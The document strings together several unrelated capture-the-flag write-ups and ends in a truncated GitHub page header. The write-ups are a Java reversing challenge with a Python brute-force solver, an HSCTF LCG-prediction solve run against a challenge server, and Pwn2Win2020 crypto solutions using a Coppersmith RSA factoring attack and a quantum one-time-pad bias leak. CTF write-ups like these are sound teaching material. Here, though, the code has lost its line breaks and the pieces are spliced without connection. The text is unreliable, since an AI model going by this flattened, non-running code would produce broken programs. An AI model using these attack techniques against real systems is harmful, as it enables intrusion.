```excepted_output = [108, 111, 108, 108, 111, 111, 107, 97, 116, 116, 104, 105, 115, 116, 101, 120, 116, 105, 103, 111, 116, 102, 114, 111, 109, 116, 104, 101, 109, 97, 110, 117, 97, 108]input_size = 34start_input = "a" * input_sizetranspositions = {0: 31, 1: 0, 2: 29, 3: 32, 4: 27, 5: 30, 6: 25, 7: 28, 8: 23, 9: 26, 10: 21, 11: 24, 12: 19, 13: 22, 14: 17, 15: 20, 16: 15, 17: 18, 18: 13, 19: 16, 20: 11, 21: 14, 22: 9, 23: 12, 24: 7, 25: 10, 26: 5, 27: 8, 28: 3, 29: 6, 30: 1, 31: 4, 32: 33, 33: 2}
def update_input(input_string): with open("input", "w") as input_file: input_file.write(input_string)
def get_output(): with open("output") as output: return output.read()
def input_to_output(): import os os.system("java IceCreamBytes.java 1>/dev/null 2>/dev/null ")
def get_output_list(): output = get_output() return list(map(int, output.split()))
def change_string_by_index(string, index, char): string = list(string) string[index] = char return "".join(string)
def run(input_string): update_input(input_string) input_to_output() return get_output_list()
def find_position_of_change(index): current_input = "a" * input_size current_input_with_change_by_index = change_string_by_index(current_input, index, "b") current_output = run(current_input) current_output_with_change_by_index = run(current_input_with_change_by_index)
for x, (i, j) in enumerate(zip(current_output, current_output_with_change_by_index)): if i != j: return x
import stringdef main(): result = [""] * input_size for i in range(input_size): for char in string.printable: if excepted_output[transpositions[i]] == run(change_string_by_index(start_input, i, char))[transpositions[i]]: result[i] = char break print("".join(result))
if __name__ == "__main__": main()```
```
import java.io.*;import java.nio.file.*;import java.util.Scanner;
public class IceCreamBytes { public static void main(String[] args) throws IOException { Path path = Paths.get("IceCreamManual.txt"); byte[] manualBytes = Files.readAllBytes(path);
// Scanner keyboard = new Scanner(System.in); // // System.out.print("Enter the password to the ice cream machine: "); // String userInput = keyboard.next(); // String input = userInput.substring("flag{".length(), userInput.length()-1); File myObj = new File("input"); Scanner myReader = new Scanner(myObj); String input = myReader.nextLine(); byte[] loadedBytes = toppings(chocolateShuffle(vanillaShuffle(strawberryShuffle(input.getBytes())))); boolean correctPassword = true;
// byte[] correctBytes = fillMachine(manualBytes);
// if (correctBytes.length != loadedBytes.length) // { // System.out.println("F"); // System.out.print(loadedBytes.length); // System.out.print(" "); // System.out.print(correctBytes.length); // System.exit(0); // } // System.out.println("========================="); BufferedWriter writer = new BufferedWriter(new FileWriter("output")); for (int i = 0; i < loadedBytes.length; i++) { writer.write(String.valueOf(Byte.toUnsignedInt(loadedBytes[i]))); writer.write(" "); } writer.close(); // System.out.println(""); // System.out.println("=========================");
// for (int i = 0; i < correctBytes.length; i++) { // if (loadedBytes[i] != correctBytes[i]) { // correctPassword = false; // } // } // if (correctPassword) { // System.out.println("That's right! Enjoy your ice cream!"); // } else { // System.out.println("Uhhh that's not right."); // } //keyboard.close(); } public static byte[] fillMachine(byte[] inputIceCream) { byte[] outputIceCream = new byte[34]; int[] intGredients = {27, 120, 79, 80, 147, 154, 97, 8, 13, 46, 31, 54, 15, 112, 3, 464, 116, 58, 87, 120, 139, 75, 6, 182, 9, 153, 53, 7, 42, 23, 24, 159, 41, 110}; for (int i = 0; i < outputIceCream.length; i++) { outputIceCream[i] = inputIceCream[intGredients[i]]; } return outputIceCream; }
public static byte[] strawberryShuffle(byte[] inputIceCream) { byte[] outputIceCream = new byte[inputIceCream.length]; for (int i = 0; i < outputIceCream.length; i++) { outputIceCream[i] = inputIceCream[inputIceCream.length - i - 1]; } return outputIceCream; }
public static byte[] vanillaShuffle(byte[] inputIceCream) { byte[] outputIceCream = new byte[inputIceCream.length]; for (int i = 0; i < outputIceCream.length; i++) { if (i % 2 == 0) { outputIceCream[i] = (byte)(inputIceCream[i] + 1); } else { outputIceCream[i] = (byte)(inputIceCream[i] - 1); } } return outputIceCream; }
public static byte[] chocolateShuffle(byte[] inputIceCream) { byte[] outputIceCream = new byte[inputIceCream.length]; for (int i = 0; i < outputIceCream.length; i++) { if (i % 2 == 0) { if (i > 0) { outputIceCream[i] = inputIceCream[i - 2]; } else { outputIceCream[i] = inputIceCream[inputIceCream.length - 2]; } } else { if (i < outputIceCream.length - 2) { outputIceCream[i] = inputIceCream[i + 2]; } else { outputIceCream[i] = inputIceCream[1]; } } } return outputIceCream; }
public static byte[] toppings(byte[] inputIceCream) { byte[] outputIceCream = new byte[inputIceCream.length]; byte[] toppings = {8, 61, -8, -7, 58, 55, -8, 49, 20, 65, -7, 54, -8, 66, -9, 69, 20, -9, -12, -4, 20, 5, 62, 3, -13, 66, 8, 3, 56, 47, -5, 13, 1, -7,}; for (int i = 0; i < outputIceCream.length; i++) { outputIceCream[i] = (byte)(inputIceCream[i] + toppings[i]); } return outputIceCream;
} }``` |
### Randomization 1
#### Question
>Hear ye, for I have constructed another diversionary exercise taking the form of a competition whose contents consist of the repeated divination of an arbitarily and pseudorandomly generated numeric!>Connect with nc crypto.hsctf.com 6001.
**File Attached**:rand1
### Answer
On connecting to the server it says```I heard LCGs were cool so I made my ownSince I'm so generous you get a free number```
LCG (Linear congruential generator) is an algorithm for generating pseudo random numbers. Here is the [wiki link](https://en.wikipedia.org/wiki/Linear_congruential_generator). The basic formula for the sequence is 
So all we have to do is find a and c. For that I opened up ghidra and decompiled the binary.The decompiled main function is 
The decompiled next function is 
From the next function we can clearly see that value of a is '%' and c is 0x41, So a = 37 and c = 65.But still we needed the modulo value. I assumed it was 256, but in order to be sure, I ran the binary a couple of times by a python script and then checked the max value and it was always less than 256. So now all we had to do is use the pwntools and write a final python script that will give us the result. Also one thing if you notice, you will be asked the number 10 times because there is do .. while condition wrapped.
```pythonfrom pwn import *
io = remote('crypto.hsctf.com', 6001)io.read()value = io.read().decode('ASCII').replace('\n', ' ').split(' ')curr = int(value[10])nxt = (curr*37+65)%256for _ in range(10): io.sendline(str(nxt)) print(io.read().decode('ASCII').replace('\n', ' ')) nxt = (nxt*37+65)%256```
and you will get the flag.**flag**: ```flag{l1n34r_c0n6ru3n714l_63n3r470r_f41lur3_4b3bcd43}``` |
# Pwn2Win2020 CTF Writeups
- [Omni_Crypto](#omnicrypto) - Category : Crypto - Files : [enc.py](Omni_Crypto/enc.py), [output.txt](Omni_Crypto/output.txt) - Points : 246 - Solves : 32 - solution code : [omni_crypto_solve.sage](Omni_Crypto/omni_crypto_solve.sage)- [Load_qKeys](#lost_qkeys) - Category : Crypto - Files : [server-model.py](Lost_qkeys/server-model.py) - Points : 246 - Solves : 32 - solution code : [lost_qkeys_solve.py](Lost_qkeys/lost_qkeys_solve.py)
---
# Omni_Crypto challenge writeup [Crypto]
In this challenge, we were given the [enc.py](https://github.com/S3v3ru5/CTF-writeups/blob/master/Pwn2Win2020/Omni_Crypto/enc.py) and [output.txt](https://github.com/S3v3ru5/CTF-writeups/blob/master/Pwn2Win2020/Omni_Crypto/output.txt) files.`enc.py` implements rsa algorithm with primes of 1024 bits generated using the below function.```pythondef getPrimes(size): half = random.randint(16, size // 2 - 8) rand = random.randint(8, half - 1) sizes = [rand, half, size - half - rand]
while True: p, q = 0, 0 for s in sizes: p <<= s q <<= s chunk = random.getrandbits(s) p += chunk if s == sizes[1]: chunk = random.getrandbits(s) q += chunk p |= 2**(size - 1) | 2**(size - 2) | 1 q |= 2**(size - 1) | 2**(size - 2) | 1 if gmpy2.is_prime(p) and gmpy2.is_prime(q): return p, q````getPrimes(size)` function first generates three random numbers assume them as `[s1, s2, s3](sizes list in line 4)` with `s1 + s2 + s3 = size` andfew constraints.Then the function generates `primes p and q` such that lower `s3 bits` of `p` & `q` are equal and also upper `s1 bits` of `p` & `q` are equal.Assume, ```p = (pa1 << (s2 + s3)) + (pa2 << s3) + pa3q = (pa1 << (s2 + s3)) + (qa2 << s3) + pa3````pa1, pa2, pa3` are of sizes `s1, s2, s3` bits and upper, middle, lower bits of prime p respectively.`qa2` is same as `pa2` but for prime `q`.
`N` in terms of `pa1, pa2, pa3, qa2` obtained by multiplying above equations is
`N = pa3**2 + ((pa3*qa2) << s3) + ((pa3*pa1) << (s2 + s3)) + ((pa2*pa3) << s3) + ((pa2*qa2) << (2*s3)) + ((pa2*pa1) << (s2 + 2*s3)) + ((pa1*pa3) << (s2 + s3)) + ((pa1*qa2) << (s3 + s2 + s3)) + ((pa1**2) << (2*(s2 + s3)))`
The lower `s3` bits of `N` come from the lower `s3` bits of `pa3**2`.==> `N % 2**s3 = pa3**2 % 2**s3`
so, if we are able to calculate the `square root` of `N % 2**s3 modulo 2**s3`, then we will get the original value of `pa3` as it is less than `2**s3`.[This thread](https://projecteuler.chat/viewtopic.php?t=3506) discuss the algorithm to calculate `square root` modulo `powers of 2`.Discussed algorithm works for the given challenge `N` and we can obtain the value of `pa3`.
For the value of `pa1`, the upper bits of the `N` is approximately equal to `pa1**2`.so, taking the approximate `square root` of `N >> (2*(s2 + s3))` gives the value of `pa1`.
As, we can calculate the values of `pa1` and `pa3`, we can use the `coppersmith attack` to calculate one of the primes.```pythonP.<x> = PolynomialRing(Zmod(N))f = pa1*(2**(s2 + s3)) + x*(2**s3) + pa3f = f.monic()roots = f.small_roots(beta = 0.5)```One problem is that we don't know the values of `s2` and `s3`. so, we have to check all the possible values and factor `N`.
After trying all the possible values for `s2` and `s3`, I could not factor `N` because of a small but bad mistake that I realisedafter trying another approach which only works for half of the cases.
Another approach which doesn't depend on `coppersmith attack` works only if `s2 < s3` is
As `N` can be written as `N = pa3**2 + ((pa3*qa2) << s3) + ((pa3*pa1) << (s2 + s3)) + ((pa2*pa3) << s3) + ((pa2*qa2) << (2*s3)) + ((pa2*pa1) << (s2 + 2*s3)) + ((pa1*pa3) << (s2 + s3)) + ((pa1*qa2) << (s3 + s2 + s3)) + ((pa1**2) << (2*(s2 + s3)))`
and as we know the values of `pa1` and `pa3`, we can remove all the terms which depend only on `pa1` and `pa3` which leaves us with value equal toremN = ((pa1*qa2 + pa1*pa2) << (s2 + 2*s3)) + ((pa2*qa2) << (2*s3)) + ((pa3*qa2 + pa3*pa2) << s3) = ((pa1*(qa2 + pa2)) << (s2 + 2*s3)) + ((pa2*qa2) << (2*s3)) + ((pa3*(qa2 + pa2)) << s3)we can find the `sum` of `qa2` and `pa2` modulo `2**s3` using `remN`.```remN % 2**s3 = pa3*(qa2 + pa2) % 2**s3(qa2 + pa2) % 2**s3 = (remN % 2**s3)*inverse(pa3, 2**s3) % 2**s3```if `s2 < s3` then `(qa2 + pa2) % 2**s3 = qa2 + pa2`.
Now, using the `pa1`, `pa3`, `qa2 + pa2` and `remN`, we can calculate the value of `qa2*pa2`.
And given the sum and product of `pa2` & `qa2` we can calculate the values of `pa2` & `qa2` by finding the roots `quadratic equation` `x**2 + b*x + c` with `b = -(qa2 + pa2)` and `c = qa2*pa2`.
This approach is faster but only works for half of the cases and it doesn't work for the challenge `N`.
I realised my mistake that I did while trying `coppersmith attack` which is : when using `small_roots` method I only specified the `beta` parameter and leave out `X (upper bound of root)` parameter for the method to decide.
So, after trying the `coppersmith attack` with all the parameters, it found the root.
Decrypting the ciphertext gives us the flag,
FLAG :: `Here is the message: CTF-BR{w3_n33d_more_resources_for_th3_0mni_pr0j3ct}\n`
solution code :: [omni_crypto_solve.sage](https://github.com/S3v3ru5/CTF-writeups/blob/master/Pwn2Win2020/Omni_Crypto/omni_crypto_solve.sage)
---
# Lost_qKeys crypto challenge writeup
In this challenge, we were given with [server-model.py](https://github.com/S3v3ru5/CTF-writeups/blob/master/Pwn2Win2020/Lost_qkeys/server-model.py) file and an netcat connection.The `server-model.py` basically constructs a `quantum circuit` based on a `password`(taken from the user), `Key`(generated using `os.urandom()`) and `flag`.It executes the circuit one time and measures the state of qubits and it gives the measured values to user.`server-model.py` uses [qiskit framework](https://qiskit.org/) to simulate the circuit.
The program flow of the `server-model.py` is quite simple
First it asks for a `password` with a prompt passwd: and thenit passes the `password` to below method
```python def send_qubits(self, msg, dest): qbit_config = self.decode(msg) q = qiskit.QuantumRegister(9*len(qbit_config)) circ = qiskit.QuantumCircuit(q) for j, c in enumerate(qbit_config): if c=='1': circ.x(q[9*j]) circ.cx(q[9*j],q[9*j+3]) circ.cx(q[9*j],q[9*j+6]) circ.h(q[9*j]) circ.h(q[9*j+3]) circ.h(q[9*j+6]) circ.cx(q[9*j],q[9*j+1]) circ.cx(q[9*j],q[9*j+2]) circ.cx(q[9*j+3],q[9*j+4]) circ.cx(q[9*j+3],q[9*j+5]) circ.cx(q[9*j+6],q[9*j+7]) circ.cx(q[9*j+6],q[9*j+8]) return quantum_channel(circ, dest) ```msg parameter is the `password` in the above method.The `password` is converted to a `bit-string` of `nbits`(padded if necessary).nbits is equal to 8*len(flag) which in our case is 520.The method creates a `Quantum register` with `9*nbits qubits`.It divides all the `qubits` into `groups of size 9` and takes each group of 9 qubits and sets state of `first qubit in the group to the corresponding bit of password` and then applies same operations on every group of `qubits`.Then the method passes control to the following method.```python def read_qubits(self, circ): self.received_qubits = circ.qubits for i in range(0, len(self.received_qubits), 9): circ.cx(self.received_qubits[i], self.received_qubits[i+1]) circ.cx(self.received_qubits[i], self.received_qubits[i+2]) circ.ccx(self.received_qubits[i+1], self.received_qubits[i+2], self.received_qubits[i]) circ.h(self.received_qubits[i]) circ.cx(self.received_qubits[i+3], self.received_qubits[i+4]) circ.cx(self.received_qubits[i+3], self.received_qubits[i+5]) circ.ccx(self.received_qubits[i+4], self.received_qubits[i+5], self.received_qubits[i+3]) circ.h(self.received_qubits[i+3]) circ.cx(self.received_qubits[i+6], self.received_qubits[i+7]) circ.cx(self.received_qubits[i+6], self.received_qubits[i+8]) circ.ccx(self.received_qubits[i+7], self.received_qubits[i+8], self.received_qubits[i+6]) circ.h(self.received_qubits[i+6]) circ.cx(self.received_qubits[i], self.received_qubits[i+3]) circ.cx(self.received_qubits[i], self.received_qubits[i+6]) circ.ccx(self.received_qubits[i+3], self.received_qubits[i+6], self.received_qubits[i])
circ = self.encrypt_flag(circ) self.decrypt_flag(circ)```This method also takes each `group of 9 qubits` and does similar operations an each group and passes control to the `encrypt_flag` method.```python def encrypt_flag(self, circ): self.qbuffer = qiskit.QuantumRegister(self.nbits) circ.add_register(self.qbuffer)
for i, c in enumerate(self.encoded_flag): if c=='1': circ.x(self.qbuffer[i])
for i in range(len(self.key)): if self.key[i]=='1': circ.h(self.qbuffer[i]) return circ```This is where `flag` comes into play.The method creates an additional `QuantumRegister` with size `nbits`.In order to understand the solution and the above code we need to have a small understanding of the operations done in all the mentioned functions.
According to [Qiskit docs](https://qiskit.org/documentation/tutorials/circuits/3_summary_of_quantum_operations.html) and [wikipedia page on Quantum gates](https://en.wikipedia.org/wiki/Quantum_logic_gate)```- All the qubits have default state 0 at the time of intialisation in qiskit framework.- circ.h(qi) represents a Hadamard(H) gate which acts on a single qubit and after this operation there's an equal probability to measure the state of the qubit as 0 or 1.- circ.x(qi) represents Pauli-X gate which acts on a single qubit and is quantum equivalent of Classical NOT gate i.e flips the state of qubit.- circ.cx(qc, qi) is a Controlled NOT gate, if the qubit qc results in state 1 when measured then Pauli-X(Classical NOT) gate is applied on the qubit qi.- circ.ch(qc, qi) is a Controlled Hadamard gate, if the qubit qc results in state 1 then Hadamard(H) gate is applied on qubit qi.- circ.ccx(qc1, qc2, qi) represents Toffoli(CCNOT) gate, if the first two qubits qc1 & qc2 are in state 1 then Pauli-X(Classical NOT) gate is applied on the third qubit qi.```Coming back to `encrypt_flag` method, as it created the nbits number of qubits.It assigns each bit of `flag` to `qubit state` i.e if flag bit is 1, then qubit is flipped as qubit is intially in state 0 flipping results in state 1.
After flipping necessary qubits accordingly, it adds the `Key` i.e it iterates over `Key bits`.And if `key bit is 1` then it passes corresponding `flag qubit` into `Hadamard gate` which results in the bit being in state 0 or 1 equally likely. `flag qubits` are not involved in any of the operation if the corresponding `Key bit` is 0.
And this is where the `main flaw` is, ```For an nth flag qubit the probability that corresponding key bit is 1 is 1/2probability that Hadamard gate flips the qubit is 1/2.so, given a nth flag qubit the probability that it flips is (1/2)*(1/2) = 1/4.if we take measurements for a noticable number of times then there will be a bias towards the correct bit.```We can use the above observation to calculate the entire `flag`.
Even though the following method is called after `encrypt_flag` method which adds some operations to the circuit, it `doesn't change the result` much.```python def decrypt_flag(self, circ): for i in range(self.nbits): circ.ch(self.received_qubits[9*i], self.qbuffer[i])
output = qiskit.ClassicalRegister(self.nbits) circ.add_register(output) circ.measure(self.qbuffer, output)
bk = qiskit.Aer.get_backend('qasm_simulator') job = qiskit.execute(circ, bk, shots=1) res = job.result() if not res.success: raise MemoryError('You should use a real quantum computer...') res = res.get_counts(circ) self.res = [self.encode(int(k,2)) for k in res.keys()]```This function adds `Controlled Hadamard gate` to the `flag qubits` whose `control qubits` are taken from the previously created qubits(created based on the user `password`) and measures the state of flag qubits into output Classical Register and gives the output.
The reason that I think this `addition of Controlled Hadamard gates doesn't change` much because it only applies on the `flag qubits` when `control qubit is 1` and if we see the operations(in methods `send_qubits` and `read_qubits`) which result in the control qubits and using description of the gates we can assume that the probability of control qubit being in state 1 is very less after the operations.
solution code :: [lost_qkeys_solve.py](https://github.com/S3v3ru5/CTF-writeups/blob/master/Pwn2Win2020/Lost_qkeys/lost_qkeys_solve.py)
`FLAG :: _#__CTF-BR{_1s_th4t_HoW_u_1mPl3meNt_@_QUantUm_0ne_t1m3_paD_???}_\\` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf-solutions/sharky20/misc/tortoise at master · BigB00st/ctf-solutions · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="BC88:68DA:20A563F9:21A1A323:64122091" data-pjax-transient="true"/><meta name="html-safe-nonce" content="f4d352124304e89e663a0d5016894928625dc564ef2f88f9b3c1ee96b9275304" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCQzg4OjY4REE6MjBBNTYzRjk6MjFBMUEzMjM6NjQxMjIwOTEiLCJ2aXNpdG9yX2lkIjoiMTI0NzY2ODEwMjU4MzQyNzIxNyIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="eea84dffe5df0e6b4f6a1a4be01ba5a27070fe7a0bd89a436eb2c17d04a7c55b" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:252509468" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Solutions for ctf challenges. Contribute to BigB00st/ctf-solutions development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/bd5503cd874b2aa8ff5165158ad67b31f52a409017e508c60ff9be5b985b019b/BigB00st/ctf-solutions" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-solutions/sharky20/misc/tortoise at master · BigB00st/ctf-solutions" /><meta name="twitter:description" content="Solutions for ctf challenges. Contribute to BigB00st/ctf-solutions development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/bd5503cd874b2aa8ff5165158ad67b31f52a409017e508c60ff9be5b985b019b/BigB00st/ctf-solutions" /><meta property="og:image:alt" content="Solutions for ctf challenges. Contribute to BigB00st/ctf-solutions development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-solutions/sharky20/misc/tortoise at master · BigB00st/ctf-solutions" /><meta property="og:url" content="https://github.com/BigB00st/ctf-solutions" /><meta property="og:description" content="Solutions for ctf challenges. Contribute to 